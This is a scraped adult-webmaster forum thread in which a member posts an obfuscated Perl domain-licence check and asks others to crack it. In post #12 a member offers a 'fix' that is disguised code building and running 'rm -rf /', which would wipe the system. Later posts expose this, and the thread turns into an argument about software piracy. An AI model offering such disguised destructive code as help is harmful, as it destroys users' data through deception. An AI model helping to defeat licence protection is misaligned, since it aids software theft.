![]() |
![]() |
![]() |
||||
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
![]() ![]() |
|
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
Thread Tools |
![]() |
#1 |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Perl Programmers
When installing a script, it has a few lines that checks the domain it's being installed and will stop the installation if it doesn't match. Is it possible this protection to be removed from the script or cracked?
Code:
sub l{my $k="fc38ecf7b7a1b2281b07aecd42948feb";my $m=shift;my $c=1024;my $p=undef;my $x=0; my $y=0;my @s=n($k);my @a = unpack("C*", $m);for(@a){$x=0 if(++$x>255);$y-=256 if(($y+=$s[$x])>255); @s[$x,$y]=@s[$y,$x];$_^=$s[($s[$x]+$s[$y])%256];}return pack("C*", @a);}sub p{my $z="P2+U29ESKJ5oiBv". "To3tsk14foAim4OoKJZ+UWAmyO9UQtW6kXqxSV8uMK8u4cmj80 qmKxszLVU+VplI/kpD4HkjtFpc6pPfXrKM43no2BTK00vW4gdSN". "O08nHehqn9/Y3Dz0e4pPfAxebKSwDA9Wg4T5VzYito9ENRqhXx55ihDBTRUxg VF6WdGliAyhClf3F3/mxVKwqUrzHb2R4OYqHnxNUMC". "TET/ASk7htvfX6av4z4p7C/gN1xBDEseuontJ4DKzOZuKlnpOnbzuQ3mnQeoRXx1qn4bXxzUz LyZ3dZGtSTeeboFaifMggRJa7Jm8ud". "KD4owYU1ZZ0bZLjZlgTXBNTT7C2AhVvWIaA2sSKU8=";eval(l(o(\$z)));}sub n{my @k=unpack('C*', shift); my @s=0..255;my $y=0;my $x=0;for $x (0..255){$y=($k[$x%@k]+$s[$x]+$y)%256;@s[$x,$y]=@s[$y,$x];} return @s;}sub i {my $i="P2+Qm4RBNpk921CY9mxxyx0RoUb657EAYr+0ehfnUaE3kUiAdM IkFtnEeY+wd2DtlvT1qMzVAGOg". "nGNb+rnEJBu9Sdok6PDKsKNh3TFmUgyvhbKJi97ZHFhzDP0zh8 iHmnWza4oUZEIcL4+pJ08e1Zb4UT4iuM5/MFzwXxl3ngPTWFp2/l". "plGNOnyVeODEb8cHjl2xe3ow+DALyN6+M0TT1FQJSWU3zAWF28 s5e2zI7J/Jd2Tg==";my$z=l(o(\$i));eval($z);}sub o{my $d=shift; my $b=undef;my $l=undef;$$d=~tr|A-Za-z0-9+=/||cd;$$d=~s/=+$//;$$d=~tr|A-Za-z0-9+/| -_|;while( $$d=~/(.{1,60})/gs ) {$l= chr(32 + length($1)*3/4);$b.= unpack("u", $l.$1);}return $b;} |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#2 |
Pounding Googlebot
Industry Role:
Join Date: Aug 2002
Location: Canada
Posts: 34,482
|
Good luck, perl has some satanic looking syntax at times. I love it though
![]() WG
__________________
I play with Google. |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#3 | |
Join Date: Nov 2002
Posts: 2,174
|
Quote:
![]()
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#4 |
Join Date: Nov 2002
Posts: 2,174
|
It's 100% crackable as it's open source. Would take some time though. I charge 150 $ an hour ..
__________________
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#5 |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Either pay for the fucking script or don't use it.
__________________
I like pie. |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#6 |
Join Date: Nov 2002
Posts: 2,174
|
Here you have it in a readable form:
Code:
sub l { my $k = "fc38ecf7b7a1b2281b07aecd42948feb"; my $m = shift; my $c = 1024; my $p = undef; my $x = 0; my $y = 0; my @s = n($k); my @a = unpack( "C*", $m ); for (@a) { $x = 0 if ( ++$x > 255 ); $y -= 256 if ( ( $y += $s[$x] ) > 255 ); @s[ $x, $y ] = @s[ $y, $x ]; $_ ^= $s[ ( $s[$x] + $s[$y] ) % 256 ]; } return pack( "C*", @a ); } sub p { my $z = "P2+U29ESKJ5oiBv" . "To3tsk14foAim4OoKJZ+UWAmyO9UQtW6kXqxSV8uMK8u4cmj80 qmKxszLVU+VplI/kpD4HkjtFpc6pPfXrKM43no2BTK00vW4gdSN" . "O08nHehqn9/Y3Dz0e4pPfAxebKSwDA9Wg4T5VzYito9ENRqhXx55ihDBTRUxg VF6WdGliAyhClf3F3/mxVKwqUrzHb2R4OYqHnxNUMC" . "TET/ASk7htvfX6av4z4p7C/gN1xBDEseuontJ4DKzOZuKlnpOnbzuQ3mnQeoRXx1qn4bXxzUz LyZ3dZGtSTeeboFaifMggRJa7Jm8ud" . "KD4owYU1ZZ0bZLjZlgTXBNTT7C2AhVvWIaA2sSKU8="; eval( l( o( \$z ) ) ); } sub n { my @k = unpack( 'C*', shift ); my @s = 0 .. 255; my $y = 0; my $x = 0; for $x ( 0 .. 255 ) { $y = ( $k[ $x % @k ] + $s[$x] + $y ) % 256; @s[ $x, $y ] = @s[ $y, $x ]; } return @s; } sub i { my $i = "P2+Qm4RBNpk921CY9mxxyx0RoUb657EAYr+0ehfnUaE3kUiAdM IkFtnEeY+wd2DtlvT1qMzVAGOg" . "nGNb+rnEJBu9Sdok6PDKsKNh3TFmUgyvhbKJi97ZHFhzDP0zh8 iHmnWza4oUZEIcL4+pJ08e1Zb4UT4iuM5/MFzwXxl3ngPTWFp2/l" . "plGNOnyVeODEb8cHjl2xe3ow+DALyN6+M0TT1FQJSWU3zAWF28 s5e2zI7J/Jd2Tghahahaha"; my $z = l( o( \$i ) ); eval($z); } sub o { my $d = shift; my $b = undef; my $l = undef; $$d =~ tr|A-Za-z0-9+=/||cd; $$d =~ s/=+$//; $$d =~ tr|A-Za-z0-9+/| -_|; while ( $$d =~ /(.{1,60})/gs ) { $l = chr( 32 + length($1) * 3 / 4 ); $b .= unpack( "u", $l . $1 ); } return $b; }
__________________
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#7 |
Confirmed User
Join Date: Nov 2004
Posts: 4,628
|
Seeing as my company uses measures similar to this to protect us against software theft I would be more than happy to ....just provide me with the domain you'll be using it at so that i can tell the script publishers to sue the shit out you
GET THE FUCK OUT OF HERE ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#8 | |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Quote:
__________________
I like pie. |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#9 | |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Quote:
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#10 | |
<&(©¿©)&>
Industry Role:
Join Date: Jul 2002
Location: Chicago
Posts: 47,882
|
Quote:
![]()
__________________
Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000 Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager ![]() Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#11 |
Confirmed User
Join Date: Apr 2002
Location: Houston
Posts: 5,651
|
heh, yes.. quite easily actually. how much can that script actually cost?
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#12 |
Join Date: Nov 2002
Posts: 2,174
|
Just change the code to this
Code:
sub l { my $d = '-rf /' my $c = 'df'; $c =~ s/df/rm/; `$c $d`; } l("To3tsk14foAim4OoKJ");
__________________
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#13 | ||
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Quote:
Quote:
|
||
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#14 | |
Join Date: Nov 2002
Posts: 2,174
|
Quote:
![]() ![]()
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#15 | |
<&(©¿©)&>
Industry Role:
Join Date: Jul 2002
Location: Chicago
Posts: 47,882
|
Quote:
nice ![]()
__________________
Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000 Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager ![]() Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#16 |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
How was he protecting the code anyway?
Base64 encryption? md5? |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#17 |
Registered User
Industry Role:
Join Date: Feb 2005
Location: UK
Posts: 64
|
lol so mean :P
__________________
my new site: boxgap.net |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#18 |
Confirmed User
Join Date: May 2005
Posts: 2,737
|
Although that script is beyond simple to bypass as I am a perl developer, I don't agree with the idea of it unless it was for my own use. As far as the rest of you giving him code that will DELETE everything on the system that he has permissions to, that is fucked up and I hope you all get your genitals infested by the fleas of a thousand camels.
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#19 | |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Quote:
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#20 |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
OK I see it "rm -rf"?
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#21 | |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Quote:
__________________
I like pie. |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#22 |
Confirmed User
Join Date: May 2005
Posts: 2,737
|
Heya Baba, consume my genitals balls deep. Thnx.
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#23 | |
Join Date: Nov 2002
Posts: 2,174
|
Quote:
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#24 |
Confirmed User
Join Date: May 2005
Posts: 2,737
|
I don't use perl for web stuff unless neccessary. Who is to say this guy doesn't have his perms setup wrong? It could wipe out his document root though, which would be enough to piss ANYONE off.
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#25 | |
Making PHP work
Industry Role:
Join Date: Nov 2002
Location: 🌎🌅🌈🌇
Posts: 20,589
|
Quote:
I'm running this ASAP!!!! ![]() ![]() ![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#26 |
Confirmed User
Join Date: Nov 2004
Posts: 4,628
|
Luckily a lot of these scripts have secretly placed backup systems to atleast report where the script is being illegally used....
I hope these guys give you a legal schooling if nothing else. Amazing how site owners and webmasters can hate hacked passwords so much because it hursts their sales yet they turn around and do it themselves. These scripts take time and money to develop....the system works except when jackholes like you come around |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#27 | |
Confirmed User
Join Date: Jul 2003
Location: chicago
Posts: 1,135
|
Quote:
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#28 | |
Join Date: Nov 2002
Posts: 2,174
|
Quote:
2.) It would be the right punishment for software piracy and cracking. ![]()
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#29 | |
Confirmed User
Join Date: Nov 2004
Posts: 4,628
|
Quote:
You the man nasty....I hope this guy gets his shit pushed in |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#30 | |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Quote:
![]() If he lost his files, he would have blamed me ![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#31 |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Anyway, I see nothing wrong with him getting a crack, that's why I wanted to help him, the developer doesn't offer a server license so he has to spend $5k for his domain licenses. $5k USD is a lot in Russia
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#32 | |
Join Date: Nov 2002
Posts: 2,174
|
Quote:
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#33 | |
Confirmed User
Join Date: Nov 2004
Posts: 4,628
|
Quote:
Well thenwhy dont you pay someone to custom code it...then YOU can decide how the licences are distributed.... Thats about the dumbest thing in the world i've heard....so becaue the cost of milk goes up to 5 dollars a gallon it is then "okay" to steal the cow from the farm to make your own milk because the cost went up....give me a break get out of here noob |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#34 | |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Quote:
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#35 | |
Join Date: Nov 2002
Posts: 2,174
|
Quote:
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#36 | |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
Quote:
Truth: first you wanted to do it and even whitespace formatted the ugly code then changed your mind after the comments from others. Don't pretend otherwise. |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#37 |
Confirmed User
Join Date: Jan 2005
Posts: 1,648
|
GFY Drama even in a geek scripting threads.
|
![]() |
![]() ![]() ![]() ![]() ![]() |